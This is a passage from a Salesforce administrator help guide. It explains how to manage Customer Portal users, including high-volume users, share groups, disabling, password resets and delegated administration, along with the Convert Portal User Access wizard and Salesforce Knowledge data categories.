to share to Roles and Internal Subordinates instead. This is to help ensure that no records owned by a Salesforce.com
user are shared with a portal user.
The Roles and Internal Subordinates data set category allows you to create sharing rules that include all users in a
specified role plus all of the users in roles below that role, excluding any Customer Portal and partner portal roles.

1456
Customer Portal Managing Customer Portal Users

You can easily convert sharing rules that include Roles and Subordinates to include Roles and Internal Subordinates
instead by using the Convert Portal User Access wizard. Furthermore, you can use this wizard to convert any
publicly accessible report, dashboard, and document folders to folders that are accessible by all users except for
portal users.

5. Verify that portal users are not added to any queues and are not included in any public groups added to queues. This is
because portal users added to queues may be able to access records from accounts with which they are not related. For more
information, see Viewing and Editing Queues on page 173 and Managing Groups on page 166.
6. Optionally, add the Welcome component to home page layouts assigned to portal users.
The Welcome component allows portal users to receive a welcome message with their name, plus the ability to change
their own portal username, password, locale, language, time zone, and contact information. For details, see Setup Tips
and Considerations for Customer Portal Pages on page 1447.
7. Optionally, allow contacts to register themselves for access to your portal. See Enabling Customer Portal Login and Settings
on page 1434.

See Also:
Managing Customer Portal Users
Configuring Multilingual HTML Messages
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Enabling Salesforce CRM Content in the Customer Portal
Working with Customer Portal Users

Granting High-Volume Customer Portal Users Access to Objects


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To grant high-volume Customer Portal users access to objects: “Customize Application”

Note:

• High-volume Customer Portal users are currently available through a pilot program. For information on enabling
high-volume Customer Portal users, contact salesforce.com.
• High-volume Customer Portal users include both the High-Volume Customer Portal User and Authenticated
Website User license types.

High-volume Customer Portal users are limited-access portal users intended for organizations with many thousands to millions
of portal users. Unlike other portal users, high-volume Customer Portal users don't have roles, which eliminates performance
issues associated with role hierarchy calculations.
Specifically, high-volume Customer Portal users:

• Are contacts enabled to access a Customer Portal

1457
Customer Portal Managing Customer Portal Users

• Are assigned to the High-Volume Customer Portal User or Authenticated Website User user license
• Can access records if all of the following conditions are met:

- The records are associated with the high-volume Customer Portal user's account or contact
- The high-volume Customer Portal user has read only or read/write access to an object's records

• Only share the records they own with Salesforce.com users in the High-Volume Customer Portal Users share group. See
Sharing Records Owned by High-Volume Customer Portal Users to Salesforce.com Users on page 1459.

Limitations of high-volume Customer Portal users include:

• High-volume Customer Portal users can't manually share records they own or have access to, but they can transfer such
records.
• They can't access articles.
• You can't transfer cases from non high-volume Customer Portal users to high-volume Customer Portal users.
• You can't assign the High-Volume Customer Portal User or Authenticated Website User user license to person accounts.
• High-volume Customer Portal users can't own accounts.
• You can't add case teams to cases owned by high-volume Customer Portal users. Also, if you transfer cases to high-volume
Customer Portal users, any case teams on those case are deleted.
• You can't include high-volume Customer Portal users in:

- Personal groups or public groups


- Sharing rules
- Account teams, sales teams, or case teams
- Salesforce CRM Content workspaces

• You can only enable contacts as high-volume Customer Portal users via the API. See the Force.com Web Services API
Developer's Guide.

To grant high-volume Customer Portal users access to objects:

1. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.


2. In the Sharing Settings for High-Volume Customer Portal Users section, click Set Up or Edit next to an object.
Note:

• Objects with Set Up in the Action column have not been customized for high-volume Customer Portal user
access. Until you configure them, their access is determined by organization-wide sharing defaults.
• Custom objects only display if the Available for Customer Portal field is selected. See Managing
Custom Objects on page 770.

3. Grant access based on an account or contact lookup:

• To grant access to all high-volume Customer Portal users on an account, select All high-volume Customer
Portal users whose account matches and then select a field. For example, choose this option if you want all
high-volume Customer Portal users in an account to access all of the cases for their account.
• To grant access to an individual contact as a high-volume Customer Portal user, select Only the high-volume
Customer Portal user who matches and then select a field. For example, choose this option if you want
individual high-volume Customer Portal users to only access cases associated with their contact.
• To prohibit access to all high-volume Customer Portal users, select Don't grant access to high-volume
Customer Portal users.

1458
Customer Portal Managing Customer Portal Users

4. Choose an access level of Read Only or Read/Write.


5. Click Save.

Your settings apply to all of your organization's Customer Portals.

See Also:
Working with Customer Portal Users
Managing Customer Portal Users
Configuring User Access to the Customer Portal
Setting Visualforce Page Security

Sharing Records Owned by High-Volume Customer Portal Users to


Salesforce.com Users
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To share records owned by high-volume Customer Portal “Customize Application”
users to Salesforce.com users:

Note:

• High-volume Customer Portal users are currently available through a pilot program. For information on enabling
high-volume Customer Portal users, contact salesforce.com.
• High-volume Customer Portal users include both the High-Volume Customer Portal User and Authenticated
Website User license types.

High-volume Customer Portal users are limited-access portal users intended for organizations with many thousands to millions
of portal users. Unlike other portal users, high-volume Customer Portal users don't have roles, which eliminates performance
issues associated with role hierarchy calculations. Because high-volume Customer Portal users are not in the role hierarchy
while Salesforce.com users are, a share group allows you to specify the Salesforce.com users who can access records owned by
high-volume Customer Portal users. Each Customer Portal has its own share group.
To specify the Salesforce.com users who can access records owned by high-volume Customer Portal users:

1. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.


2. Click the name of a Customer Portal.
3. Click the Share Group Settings subtab.
4. Click Activate to turn on the share group.
Activating the share group can take a while. An email is sent to you when the process finishes.
Note: Deactivating a share group removes all Salesforce.com users' access to records owned by high-volume
Customer Portal users. An email isn't sent to you when the deactivation process finishes.

1459
Customer Portal Managing Customer Portal Users

5. Click Edit to add Salesforce.com users to the share group:

a. From the Search drop-down list, select the type of member to add.
b. If you don't see the member you want to add, enter keywords in the search box and click Find.
c. Select members from the Available Members box, and click Add to add them to the group.
d. Click Save.

See Also:
Granting High-Volume Customer Portal Users Access to Objects
Working with Customer Portal Users
Managing Customer Portal Users
Configuring User Access to the Customer Portal

Working with Customer Portal Users


Available in: Enterprise, Unlimited, and Developer Editions

Some common tasks when managing Customer Portal users include:

• Setting up the Customer Portal for users


• Enabling Customer Portal users individually from the Contacts tab
• Disabling and deactivating Customer Portal users
• Disabling Customer Portal accounts
• Changing Customer Portal users' information and roles
• Changing Customer Portal users' accounts;
• Merging Customer Portal users
• Resetting Customer Portal users' passwords
• Viewing Customer Portal users' user licenses
• Granting high-volume Customer Portal users access to object's records
• Sharing High-volume Customer Portal users' records with Salesforce.com users
• Managing Customer Portal users' profiles
• Assigning profiles to a Customer Portal
• Delegating Customer Portal user management and case and contact management to portal users
• Reporting on Customer Portal users

1460
Customer Portal Managing Customer Portal Users

Tip: To troubleshoot issues for Customer Portal users, you can click Login As Portal User on the portal user's contact
detail page. When you click this button, a new browser window opens and automatically logs you into the portal as
the portal user. You may also click this button to ensure that the portal is configured appropriately.
The Login As Portal User button is only available if you have the “Edit Self-Service Users” permission and “Edit”
access on the account. The Login As Portal User button does not display for inactive portal users.

See Also:
Managing Customer Portal Users
Configuring User Access to the Customer Portal
Granting High-Volume Customer Portal Users Access to Objects

Editing Customer Portal User Information


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Customer Portal users: “Edit Self-Service Users”
To create, edit, and delete profiles: “Manage Users”
To create, edit, and delete page layouts: “Customize Application”
To set field-level security: “Customize Application”
To set sharing rules: “Manage Users”

You can edit Salesforce.com Customer Portal user information for contacts associated with accounts you have permission to
access. To edit information for a Customer Portal user:

1. Click Setup ➤ Manage Users ➤ Users.


2. Click Edit next to a user’s name.
3. Change the necessary information and click Save. If you want to deactivate a user so that he or she can no longer access
your organization, make sure the Active box is unmarked.

Tips for Editing Customer Portal User Information


Consider the following when editing Customer Portal user information:
• You can create a custom list view to display only Customer Portal users by filtering on the Customer Portal Manager
license type, Customer Portal User license type, or both. For example, use the criteria “License Type equals Customer
Portal User, Customer Portal Manager.”
• If you change a user’s email address and Generate new password and notify user immediately is unchecked,
a confirmation message will be sent to the new email address that you entered. The user must click the link provided in
that message for the new email address to take effect. This process is to ensure system security. When generating a new
password for a user, the new password is automatically sent to the user’s email address and email verification is not enforced.

1461
Customer Portal Managing Customer Portal Users

• You can include the Customer Portal Welcome component on home page layouts assigned to Customer Portal users so
that when they log in to your portal they receive a welcome message with their name, plus the ability to change their own
portal username, password, locale, language, time zone, and contact information. When portal users change information
about themselves their user record is updated but their contact record is not automatically updated with those changes.

See Also:
Managing Customer Portal Users
Disabling and Deactivating Portal Users

Disabling and Deactivating Portal Users


Customer Portal is available in: Enterprise, Unlimited, and Developer Editions
Partner Portal is available in: Enterprise and Unlimited Editions

User Permissions Needed


To disable or deactivate Customer Portal users: “Edit” on the account associated with the Customer Portal
user
AND
“Edit Self-Service Users”

To disable or deactivate partner portal users: “Edit” on the account associated with the partner portal user
AND
“Manage Partners”

There are two ways in which you can remove a customer's access to your Salesforce.com Customer Portal or partner portal.
As described in detail below, disabling a portal user is permanent, while deactivating a portal user is not:
Disabling a portal user
Disabling a portal user includes the following actions:

• Termination of the user's access to your portal


• Removal from all groups, teams, and sharing rules with which the user is associated.
• Permanent loss of the portal user's association with the contact
If you later re-enable a contact for portal access, a new portal user is created that is not related to the previous portal
user record in any way.

We recommend disabling a portal user if:

• A contact was accidentally enabled as a portal user


• The portal user is associated with a duplicate contact
• You do not want a contact to access the portal in the future

1462
Customer Portal Managing Customer Portal Users

Note:

• You can't disable high-volume Customer Portal users.


• Salesforce.com doesn't delete user records, including portal user records. While you can't re-enable a disabled
portal user, you can view and update the record for a disabled user by clicking Setup ➤ Manage Users ➤
Users.

Deactivating a portal user


Deactivating a portal user prevents that user from logging into your portal and gives you the option to remove the user
from any teams in which he or she is a member (for example, case teams and account teams). When you deactivate a
portal user, the portal user record does not permanently lose its association with the contact. You can reactivate the portal
user at any time.
Note: When a delegated portal user administrator deactivates a portal user, the administrator doesn't have the
option to remove the portal user from any teams on which that user is a member.

We recommend deactivating a portal user if you may reactivate the portal user in the future.

Disabling a Portal User


To disable a portal user:
1. On the contact detail page, click either Disable Customer Portal User or Disable Partner User. On the account detail
page of a person account, click Disable Customer Portal Account.
Person accounts are not available for the partner portal.
2. Click OK.

Deactivating a Portal User


To deactivate a portal user:
1. For the Customer Portal, click the View Customer Portal User button on the contact or person account detail page. For
the partner portal, click the View Partner User button on the contact detail page.
Person accounts are not available for the partner portal.
2. Click Edit, and deselect the Active checkbox.
To reactivate a portal user at any time, select the Active checkbox.
3. Click Save.

Tips on Disabling and Deactivating Portal Users


Consider the following when disabling or deactivating portal users (disabling is permanent; deactivating is not):
• You can't delete an active portal user; you can only disable or deactivate his or her access to the portal.
• The following table describes whether you can delete contacts that are associated with portal users:

State of Portal User Associated to Contact Can Delete Contact?


Active portal user No. This is to ensure that the contact is available if you
choose to reactivate the portal user.

1463
Customer Portal Managing Customer Portal Users

State of Portal User Associated to Contact Can Delete Contact?


Inactive portal user No. This is to ensure that the contact is available if you
choose to reactivate the portal user.
Disabled portal user Yes. Deleted contacts are sent to the Recycle Bin.

• To delete a portal-enabled contact, first disable the portal user, then delete the contact.
• Cases associated with a portal user are not updated in any way when you disable or deactivate the portal user. For example,
if a portal user owns a case, and the portal user is disabled, he or she remains the owner of the case until the case is updated
with a new owner.
• Before you disable a partner user, we recommend that you transfer any opportunities owned by the user to another user
who will remain active. This is because when you disable a partner user, any opportunities he or she owns are removed
from your organization's forecast hierarchy (the partner user's role becomes obsolete).
• After you disable a portal user, it may take Salesforce.com up to ten seconds to disable the user. During that time, a portal
user may still perform actions on a portal.
• You can remove the Disable Customer Portal and Disable Partner User buttons from contact page layouts at any time.
Doing so would prevent users with the “Edit Self-Service Users” or “Manage Partners” permissions from disabling portal
users.
• A disabled or deactivated portal user does not count against your organization's available user licenses. However, disabling
or deactivating a portal user does not reduce the number of licenses for which your organization is billed; you must change
your organization's license count to change your billing. See Adding or Subtracting User Licenses on page 2370.
• To disable all portal users associated with an account and permanently delete all of the account's portal roles and groups:
- Click Disable Partner Account on a partner portal account.
- Click Disable Customer Portal Account on a Customer Portal account or Customer Portal person account.
You can remove the Disable Customer Portal Account and Disable Partner Account buttons from account page layouts
at any time. Doing so would prevent users with the “Edit Self-Service Users” or “Manage Partners” permissions from
disabling portal accounts.
• When you disable a portal user or portal account, the change is tracked in the setup audit trail.
• Portal roles are not removed from disabled portal users associated with person accounts. However, you can remove the
portal roles manually:
1. Click Setup ➤ Manage Users ➤ Users.
2. Select the name of a disabled portal user.
3. Click Edit.
4. Select None from the Role drop-down list.
5. Click Save.

See Also:
Creating Partner Users
Enabling the Customer Portal for Contacts and Person Accounts

1464
Customer Portal Managing Customer Portal Users

Resetting Customer Portal User Passwords


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To reset Customer Portal users' passwords: “Edit Self-Service Users”

If a Salesforce.com Customer Portal user loses his or her password, the user can click the Forgot your password? link on the
Customer Portal login page to have a new password emailed to him or her.
To reset a Customer Portal user's password:

1. Click Setup ➤ Manage Users ➤ Users.


2. Select the checkbox next to the user’s name. Optionally, to change the passwords for all currently displayed users, check
the box in the column header to select all rows.
3. Click Reset Password to have a new password emailed to the user.

Tip: You can include the Customer Portal Welcome component on home page layouts assigned to Customer Portal
users so that when they log in to your portal they receive a welcome message with their name, plus the ability to change
their own portal username, password, locale, language, time zone, and contact information. When portal users change
information about themselves their user record is updated but their contact record is not automatically updated with
those changes. For more information about defining home page components and assigning home page layouts, see
Customizing Home Tab Page Layouts on page 641.

See Also:
Managing Customer Portal Users

Delegating Customer Portal User Administration and Portal Super User


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Customer Portal users: “Delegated Portal User Administrator”
To create, edit, and delete profiles: “Manage Users”
To view and edit all cases and contacts for an account: “Portal Super User”

You can delegate some administrative rights to Customer Portal users with the Customer Portal Manager Custom user license.
Delegated Customer Portal user administrators can do the following for users associated with their own account:

1465
Customer Portal Managing Customer Portal Users

• Create new Customer Portal users


• Edit existing Customer Portal users
• Reset passwords for Customer Portal users
• Deactivate existing Customer Portal users
Note: When a delegated portal user administrator deactivates a portal user, the administrator doesn't have the
option to remove the portal user from any teams on which that user is a member.

Delegated Customer Portal user administrators can also view their account's detail page, along with contacts and cases related
to their account via the Accounts tab. In addition, delegated Customer Portal user administrators automatically receive the
“Portal Super User” permission. This permission lets delegated Customer Portal user administrators do the following for their
own account:

• View and edit all cases


• Create cases for contacts
• View and edit all contacts, whether portal enabled or not
• Report on all contacts, whether portal enabled or not, if the Reports tab is added to your Customer Portal and the user
has the “Run Reports” permission

You can add just the “Portal Super User” permission to the profiles of portal users (except for high-volume Customer Portal
users) so that they can view and edit all cases and contacts for their account, without having the ability to manage other portal
users. However, portal super users cannot view the Contacts tab on the Customer Portal without the “Delegated Portal User
Administrator” permission. To edit contacts, portal super users must select a contact from a case record. For more information,
see:

• Delegating Customer Portal User Administration Rights


• Providing Users with the “Portal Super User” Permission
• Tips on Setting Up Delegated Customer Portal User Administration

Delegating Customer Portal User Administration Rights


To delegate Customer Portal User Administration Rights:
1. Click Setup ➤ Manage Users ➤ Profiles and click a custom Customer Portal profile.
You can't add delegation rights or the “Portal Super User” permission to the standard Customer Portal Manager, Customer
Portal User, or High-Volume Customer Portal User profiles.
2. Click Edit.
3. Select Delegated Portal User Administrator.
When you select Delegated Portal User Administrator, the Portal Super User is automatically selected after you click
Save.
4. Click Save.
5. In the Delegated Portal Profiles related list, click Edit.
6. Select the Customer Portal profiles you want users with this profile to be able to administer.
7. Click Save.
To change which profiles a delegated Customer Portal user administrator can edit:
1. Click Setup ➤ Manage Users ➤ Profiles and click a custom Customer Portal profile.
2. Click Edit in the Delegated Portal User Profiles related list.
3. Select the Customer Portal user profiles you want this profile to be able to administer.

1466
Customer Portal Managing Customer Portal Users

4. Click Save.
Delegated Customer Portal administrators can perform the following tasks from a contact's detail page:
• Click Enable Customer Portal User to allow a contact to use a Customer Portal.
• Click View Customer Portal User to view the Customer Portal user's details. From a Customer Portal user's detail page,
delegated Customer Portal users can:
- Click Edit to edit a Customer Portal user's details.
- Click Reset Password to reset the Customer Portal user's password.
- Click Edit and deselect the Active checkbox to deactivate the user.

Providing Users with the “Portal Super User” Permission


To provide users with the “Portal Super User” permission:
1. Click Setup ➤ Manage Users ➤ Profiles and click a custom Customer Portal profile.
You can't add the “Portal Super User” permission to the standard Customer Portal Manager and Customer Portal User
profiles.
2. Click Edit.
3. Select Portal Super User.
4. Click Save.
You can't add the “Portal Super User” permission to the High-Volume Customer Portal User profile.
Tip: To report on profiles with the “Portal Super User” permission:
1. Note the names of profiles with the “Portal Super User” permission.
2. Select the Reports tab.
3. From the Administrative Reports folder, select the All Active Users report.
For more information, see Administrative Reports on page 1889.

Tips on Setting Up Delegated Customer Portal User Administration


Consider the following when setting up delegated Customer Portal User Administration:
• On the profile of users you are granting delegated portal administration:
- Add the “Delegated Portal User Administrator” permission.
The “Portal Super User” permission is automatically added when you add the “Delegated Portal User Administrator”
permission and click Save.
- Add the “Create” and “Edit” permissions on contacts so that delegated portal administrators and users with the “Portal
Super User” permission can create and update contacts related to their account.
- Set the tab setting for Accounts and Contacts to Default On so that delegated portal administrators can view the
Accounts and Contacts tabs and easily manage contacts related to their accounts.
- For more information on the above items, see Creating and Editing Profiles on page 146.

• Add the Accounts and Contacts tabs to your Customer Portal. For more information, see Customizing Your Customer
Portal Tabs on page 1444.
• Set field-level security and page layouts so that delegated Customer Portal user administrators and portal super users can
only access the account, contact, and case fields you specify. For more information, see Setting Field-Level Security on
page 217 and Managing Page Layouts on page 618.

1467
Customer Portal About the Convert Portal User Access Wizard

Note: To allow portal super users to create cases for contacts other than themselves, set the field-level security on
the Contact Name field on cases to Editable.

• Note that Customer Portal users are automatically prevented from viewing related lists to objects which they do not have
access. For example, if a Customer Portal user views a contact, and the contact page layout includes the Opportunities
related list, the portal user cannot view the Opportunities related list because portal users do not have access to opportunities.
• Delegated Customer Portal user administrators can update portal users on any account to which they are transferred.

See Also:
Managing Customer Portal Users

About the Convert Portal User Access Wizard


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set sharing rules: “Manage Users”

Because Customer Portal and partner portal users appear in the role hierarchy but are external contacts who should not have
access to your organization's internal data, you must configure your organization's sharing settings to prevent inappropriate
access by portal users. When setting up a Customer Portal or partner portal, you can use the Convert Portal User Access wizard
to help ensure that no records or folders are shared with a portal user. The wizard affects the following:
Sharing Rules
The Convert Portal User Access wizard converts any sharing rules that include the Roles and Subordinates data set
category to include the Roles and Internal Subordinates data set category instead.
The Roles and Internal Subordinates data set category allows you to create sharing rules that include all users in a specified
role plus all of the users in roles below that role, excluding any Customer Portal and partner portal roles.
Only organization-wide sharing rules are updated when you convert Roles and Subordinates to Roles and Internal
Subordinates. The Roles and Subordinates category for queues, public groups, list views, documents, and manual sharing
created on specific records by clicking the Sharing button is not converted to Roles and Internal Subordinates.

Note: The Roles and Subordinates data set category is only available in your organization after you create at
least one role in the role hierarchy.
The Roles and Internal Subordinates data set category is only available in your organization after you create at
least one role in the role hierarchy and enable a portal.

Folder Sharing

The Convert Portal User Access wizard also enables you to automatically convert the access levels of any report, dashboard,
or document folders that are accessible to Roles and Subordinates to a more restrictive access level: Roles and Internal

1468
Customer Portal Using the Convert Portal User Access Wizard

Subordinates. This helps prevent Customer Portal and partner portal users from accessing folders. Using the wizard is
more efficient than locating various folders in Salesforce.com and setting their access levels individually.

The wizard does not convert folders that are accessible to all users or accessible to public groups. You must manually
update the access levels on those folders.

When you first save a Customer Portal or partner portal, Salesforce.com automatically displays the Convert Portal User Access
wizard.

See Also:
Using the Convert Portal User Access Wizard
Configuring User Access to the Customer Portal
Enabling Your Customer Portal
Enabling the Partner Portal

Using the Convert Portal User Access Wizard


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set sharing rules: “Manage Users”

When setting up a Customer Portal or partner portal, you can use the Convert Portal User Access wizard to help ensure that
no records or folders are shared with a portal user.
To use the wizard:

1. For the Customer Portal, click Setup ➤ Customize ➤ Customer Portal ➤ Settings. For the partner portal, click Setup
➤ Customize ➤ Partners ➤ Settings.
2. Click the Convert Portal User Access link.
3. Select the checkboxes next to the sharing rules you want to convert to Roles and Internal Subordinates.
If there are no sharing rules to convert but you want to convert the access level for folders, proceed to the following step.
4. Click Next.
5. Select the checkboxes next to the folders whose access levels you want to change to Roles and Internal Subordinates.
The wizard does not convert folders that are accessible to all users or accessible to public groups. You must manually update
the access levels on those folders.
A particular folder may display on multiple rows in the wizard. This is because the wizard displays a row for each Role and
Subordinates category to which a folder is shared.
6. Click Next.

1469
Customer Portal Using the Convert Portal User Access Wizard

7. Click Save to apply your selected changes.

See Also:
About the Convert Portal User Access Wizard

1470
DATA CATEGORIES

What are Data Categories?


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page: “View Data Categories”
To create, edit, or delete data categories: “Manage Data Categories”

Data Categories are a set of criteria organized hierarchically in a category group. With data categories you can classify the
articles in your knowledge base using a logical hierarchy of categories. Categories make it easy for agents and customers to
find the articles they need. Administrators can use data categories to control access to articles.
For example, if your company sells furniture, you might use categories like Chairs, Desks, and Bookcases in the category group
Furniture Type. In addition, you might use categories like Assembly Instructions, Parts Lists, and Recall Notices in the category
group Product Documentation.

Benefits of Data Categories


Logical Classification of Articles
As a knowledge base administrator, you can organize your knowledge base articles into a logical hierarchy of folders, as
well as tag articles with the attributes that are significant to your business.

Role-Based Control of Article Visibility


As a knowledge base administrator, you can centrally control the visibility of knowledge base articles by mapping roles
in the role hierarchy to categories in the data category hierarchy. When an article is categorized, users in mapped roles
can automatically see it.

Article Filtering
As a support agent, when articles are classified into logical categories, you can quickly and easily locate the article you
need by filtering your organization's knowledge base. To ensure you see all relevant articles, filtering by category has
expansive results that include a category's upward and downward relatives in the category hierarchy. For example, if your
category hierarchy for products has the levels All Products > Computers > Laptops > Gaming Laptops and you are
helping a customer with a laptop problem, filtering by Laptops returns articles classified with Laptops as well as articles
classified with Computers, All Products, or Gaming Laptops. Effectively, you are made aware of useful related articles
like a free shipping offer for all products or an upgrade offer for gaming laptops. (To prevent irrelevant results, category
filtering doesn't return nonlineal relatives like siblings and cousins. Articles about Desktops, a sibling of Laptops, would
not display.)

Article Navigation
As an end user, you can navigate the categories on a company's public knowledge base to find the information you need
to solve your problem.

1471
Data Categories What are Data Categories?

Overview of Data Categories


A category group is the container for a set of categories and it corresponds to the name of the category drop-down menu in
Salesforce Knowledge. For example, if you use the Data Categories setup page (Setup ➤ Customize ➤ Data Categories) to
create and activate a category group called Products, a Products menu displays on the Article Management tab, the article edit
page, the Articles tab, the public knowledge base and the Customer Portal.
As an illustration, the figure below shows a knowledge base administrator's view of an article about laptop deals; using the
article edit page, the administrator has classified the article with Laptops in the Products category group, and USA in the
Geography category group.

Figure 4: An Article About Laptop Deals on the Article Management tab

The next figure now illustrates an agent finding that same article published on the Articles tab; the agent has selected Laptops
and USA respectively in the Products and Geography drop-down menus to retrieve an article that is classified with both
Laptops and USA.

Figure 5: An Article About Laptop Deals on the Articles tab

When you add categories to a category group, you build a hierarchy that can contain up to five levels of depth and up to 100
categories total. Each category can have one parent, many siblings, and many children. A robust and well-organized category
hierarchy helps users find the articles that are relevant to them quickly and easily.
By default, all Salesforce Knowledge users have access to all categories; however, you can specify category visibility by role.

Implementation Tips
Consider the following information when planning and implementing data categories for your organization:
• You can create up to three category groups with a maximum of five hierarchy levels in each group. Each category group
can contain a total of 100 categories. To increase these limits, contact salesforce.com.
• Category groups are hidden from users until they are activated. Do not activate a category group until you have finished
defining its categories and their access settings, including their mapping to roles.
• When assigning categories to articles, you can choose up to 10 categories in a category group.
• If an article has no categories, it displays only when you choose the No Filter option in the category drop-down menu.
• When searching for articles, selecting a category automatically includes the parent and children of that category and any
grandparents, up to and including the top level. For example, if a category hierarchy has the levels All Products, Switches,
Optical Networks, and Metro Core, selecting “Optical Networks” from the category drop-down menu returns articles
assigned to any of the four categories. However, it does not return articles assigned to sibling categories. So for example if

1472
Data Categories What are Data Categories?

Switches had a sibling category called Routers, selecting “Optical Networks” would not return articles classified within
Routers. Category visibility settings may limit the specific articles you can find.
• Once role-based permission settings have been chosen for the categories:
- Users who are not assigned to a role can only see uncategorized articles.
- A Customer Portal user inherits the role assigned to his or her account manager, so the category visibility for the
Customer Portal user and the account manager is identical.
- If you only have access to one category in a category group, the category drop-down menu for that category group does
not display on the Articles tab.

• Deleting a category:
- Permanently removes it. It cannot be restored. It never appears in the Recycle Bin.
- Permanently deletes its child categories.
- Removes the category and its children from the category drop-down menu, the Articles and Article Management tabs,
your company's public knowledge base, and your company's Customer Portal.
- Removes associations between the category and articles. You can reassign articles to another category.
- Removes its mapping to a role. Users in the role lose their visibility to articles that had the category.

• Deleting a category group:


- Moves it to the Deleted Category Groups section, which is a recycle bin. You can view items in this section but not
edit them. It holds category groups for 45 days before they are permanently erased and cannot be recovered. During
the 45–day holding period, you can either restore a category group, or permanently erase it immediately.
- Deletes all categories within that group.
- Removes all associations between the group's categories and articles.
- Removes all associations between the group's categories and roles.
- Removes the category drop-down menu from the Articles and Article Management tabs, your company's Customer
Portal, and your company's public knowledge base.

• You can translate the labels of categories and category groups using the Translation Workbench.

Best Practices
Consider the following tips when using data categories:
• To quickly manage data categories, use keyboard shortcuts.
• After creating or updating categories, you can set up the category group visibility rules.
• Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save.

See Also:
Managing Data Categories
What is Salesforce Knowledge?

1473
Data Categories Managing Data Categories

Managing Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page: “View Data Categories”
To create, edit, or delete data categories: “Manage Data Categories”

Data Categories are a set of criteria organized hierarchically in a category group. With data categories you can classify the
articles in your knowledge base using a logical hierarchy of categories. Categories make it easy for agents and customers to
find the articles they need. Administrators can use data categories to control access to articles.
Click Setup ➤ Customize ➤ Data Categories to view the Data Categories page. To create data categories:

1. Create a category group. A category group is the container for a set of categories; it appears as the name of the category
drop-down menu on the Article Management and Articles tabs. For example, if you create two category groups called
Geography and Products, the Article Management and Articles tabs will have two category menus from which to pick
specific categories: Geography and Products. You must create a category group before you can create the categories within
that group.
2. Add categories to a category group. After creating a category group, you can create a hierarchy of categories within that
group. These are the values that users select when assigning a category to an article or searching for articles.
Note: By default, Salesforce Knowledge users have access to all articles associated with any category. If you want
to restrict article visibility, you can specify that certain categories are visible only to certain roles. See Editing
Category Group Visibility Settings on page 1487.

From the Data Categories page, you can:

• Modify existing categories. You can change a category's name, update its other attributes, move it to another location in
the hierarchy, or reorder categories alphabetically.
• Delete a category group. You can delete, restore, or permanently erase a category group.
• Delete a category. You can permanently remove any category.
• Translate categories. You can translate your categories with the languages you want to support.

Caution: Deleting a category group deletes all of its categories and removes all associations between the categories
and articles. Similarly, deleting a category removes all associations between the category and articles.

1474
Data Categories Creating and Modifying Category Groups

Tip: Keyboard shortcuts help you quickly perform tasks on the Data Categories page.

See Also:
What are Data Categories?
Creating and Modifying Category Groups
Deleting and Undeleting Category Groups
Adding Data Categories
Modifying and Positioning Categories
Deleting Data Categories
Useful Salesforce Knowledge Terminology

Creating and Modifying Category Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page: “View Data Categories”
To create, edit, or delete data categories: “Manage Data Categories”

A category group is a container for a logical hierarchy of data categories. For example, to classify articles by sales regions and
business units, create two category groups, Sales Regions and Business Units. The Sales Regions category group could consist
of a geographical hierarchy, such as All Sales Regions as the top level, North America, Europe, and Asia at the second level,
and so on.
To create or edit a category group:

1. Click Setup ➤ Customize ➤ Data Categories.


2. To create a new category group, click Create New in the Category Groups section. By default, you can create a maximum
of five category groups and three active category groups. Contact salesforce.com to request additional category groups.
To edit an existing category group, hover your cursor over the category group name and then click the Edit Category

Group icon ( )
3. Specify the Group Name. This name appears as the title of the category drop-down menu on the Article Management
and Articles tabs, and, if applicable, in the Customer Portal and public knowledge base.
4. Optionally, modify the Group Unique Name. This is a unique name used to identify the category group in the Force.com
Web Services API.
5. Optionally, enter a description of the category group.
6. Click Save.

You can now add categories on page 1477 to your category group. When you create a new category group, Salesforce.com
automatically creates a top-level category in the group named All. Optionally, double-click All to rename it.

1475
Data Categories Deleting and Undeleting Category Groups

Activating Category Groups


When you add a new category group, it's deactivated by default and only displays on the administrative setup pages for Data
Categories and Roles. Keep your category groups deactivated to set up your category hierarchy and assign role-based category
visibility. Until you manually activate a category group, it does not display as a category drop-down menu on the Articles or
Article Management tabs, your company's public knowledge base, or your company's Customer Portal.
To activate a category group so it is available to users, move the mouse pointer over the name of the category group and click
the Activate Category Group icon ( ).

See Also:
What are Data Categories?
Managing Data Categories
Adding Data Categories
Deleting and Undeleting Category Groups
Managing Articles
Category Group Visibility Settings Overview

Deleting and Undeleting Category Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page: “View Data Categories”
To create, edit, or delete data categories: “Manage Data Categories”

Caution: Deleting a category group deletes all of its categories and removes all associations between the categories
and articles. Read this entire topic carefully to understand the consequences of deleting category groups.

To delete a category group:

1. Click Setup ➤ Customize ➤ Data Categories.


2. Hover your cursor over the category group name.
3.
Click the Delete Category Group icon ( ).
4. Select the checkbox in the confirmation dialog, then click OK.

Consequences of Deleting Category Groups


Deleting a category group:
• Moves it to the Deleted Category Groups section, which is a recycle bin. You can view items in this section but not edit
them. It holds category groups for 45 days before they are permanently erased and cannot be recovered. During the 45–day
holding period, you can either restore a category group, or permanently erase it immediately.
• Deletes all categories within that group.

1476
Data Categories Adding Data Categories

• Removes all associations between the group's categories and articles.


• Removes all associations between the group's categories and roles.
• Removes the category drop-down menu from the Articles and Article Management tabs, your company's Customer Portal,
and your company's public knowledge base.

Undeleting Category Groups


To restore a deleted category group:
1. In the Removed Category Groups section, hover your cursor over the category group name.
2.
Click the Undelete Category Group icon ( ).
The category group moves to the Category Groups section as an inactive category group, and associations with articles and
roles are restored.

See Also:
Creating and Modifying Category Groups
Managing Data Categories

Adding Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page: “View Data Categories”
